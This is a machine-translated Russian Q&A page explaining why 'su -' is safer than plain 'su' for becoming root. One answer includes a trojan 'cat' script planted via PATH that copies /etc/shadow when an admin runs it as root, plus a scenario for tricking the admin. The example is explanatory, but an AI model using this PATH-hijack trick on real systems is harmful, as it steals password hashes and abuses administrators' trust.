Почему мы используем su – и не только su?

Я не понимаю, почему su - предпочтительнее su для входа в систему как root.

  • Вывод команды id из команды запуска с "su -c"
  • Разрешить пользователю без пароля изменять пароль другому пользователю без пароля
  • Изменение переменной PATH для процесса, выполняемого как пользователь в Linux
  • Есть ли смысл использовать `sudo`, когда вы являетесь единственным пользователем вашей машины?
  • пользователи не могут выполнить su для другого пользователя LDAP
  • Как остановить пользователей от перехода на пользователя root
  • Почему я все еще запрашиваю пароль после добавления исключения в файл / etc / sudoers?
  • Как работает команда su?
  • 2 Solutions collect form web for “Почему мы используем su – и не только su?”

    su - вызывает оболочку входа после переключения пользователя. Оболочка для входа сбрасывает большинство переменных окружения, обеспечивая чистую базу.

    su просто переключает пользователя, обеспечивая нормальную оболочку с средой, почти такой же, как со старым пользователем.

    Представьте себе, что вы разработчик программного обеспечения с обычным доступом пользователей к машине, и ваш невежественный администратор просто не даст вам root-доступа. Давайте (надеюсь) обмануть его.

     $ mkdir /tmp/evil_bin $ vi /tmp/evil_bin/cat #!/bin/bash test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; } /bin/cat /etc/shadow &>/tmp/shadow_copy /bin/cat "$@" exit 0 $ chmod +x /tmp/evil_bin/cat $ PATH="/tmp/evil_bin:$PATH" 

    Теперь вы спросите своего администратора, почему вы не можете cat фиктивный файл в своей домашней папке, он просто не сработает!

     $ ls -l /home/you/dummy_file -rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file $ cat /home/you/dummy_file /bin/cat: Permission denied! 

    Если ваш администратор не такой умный или просто немного ленив, он может зайти на ваш стол и попробовать с его суперпользователями:

     $ su Password: ... # cat /home/you/dummy_file Some important dummy stuff in that file. # exit 

    Вау! Спасибо, супер админ!

     $ ls -l /tmp/shadow_copy -rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy 

    Он, он.

    Возможно, вы заметили, что поврежденная $PATH не была сброшена. Этого не произошло бы, если бы администратор вызывал su - вместо этого.

    su - вас в качестве root, тогда как su делает это так, что вы притворяетесь root.

    Наиболее очевидным примером этого является то, что ~ является корневым каталогом root, если вы используете su - , но ваш собственный домашний каталог, если вы используете su .

    В зависимости от вашей системы это может также означать различия в файле подсказки, PATH или истории.

    Поэтому, если вы являетесь частью команды, управляющей системой, и ваш коллега дает вам команду для запуска, вы знаете, что она будет работать одинаково, если вы оба используете su - , но если вы оба используете su , могут быть различия из-за для вас есть разные конфигурации оболочки.

    С другой стороны, если вы хотите запустить команду как root, но используя свою собственную конфигурацию, то, возможно, вам будет лучше для вас.

    Также не забывайте о sudo , у которого есть опция -s чтобы запустить оболочку с правами root. Конечно, у этого есть и другие правила, и они меняются в зависимости от того, какое распределение вы используете.

    Interesting Posts

    Тестирование ИК-приемника

    Как переименовать несколько файлов

    Файловая система по-прежнему показывает старое значение после сокращения в Linux, однако показывает правильное значение в LVM

    Почему mv не может сохранять разрешения при переходе между SD-картами Android?

    Конфигурируемые виртуальные хосты на основе Apache, но оба имени хоста напрямую на один и тот же сайт

    ipset не выполняется из crontab

    ranger: не пытайтесь отображать большие файлы (предварительный просмотр)

    Удалите 1 диск из массива RAID 0 массива mdadm

    Как построить длинную командную строку?

    Всегда ли необходимо запускать команды etckeeper git с помощью команды vcs?

    Компиляция кода с точки зрения

    1: 1 NAT с несколькими идентичными локальными сетями

    Как я могу получить позиционные параметры, начиная с двух или более вообще, `n`?

    В Linux, как вы видите, что делает другой процесс, если в этом процессе нет журналов?

    Есть ли способ поиска manpages для типичного сценария использования?

    Linux и Unix - лучшая ОС в мире.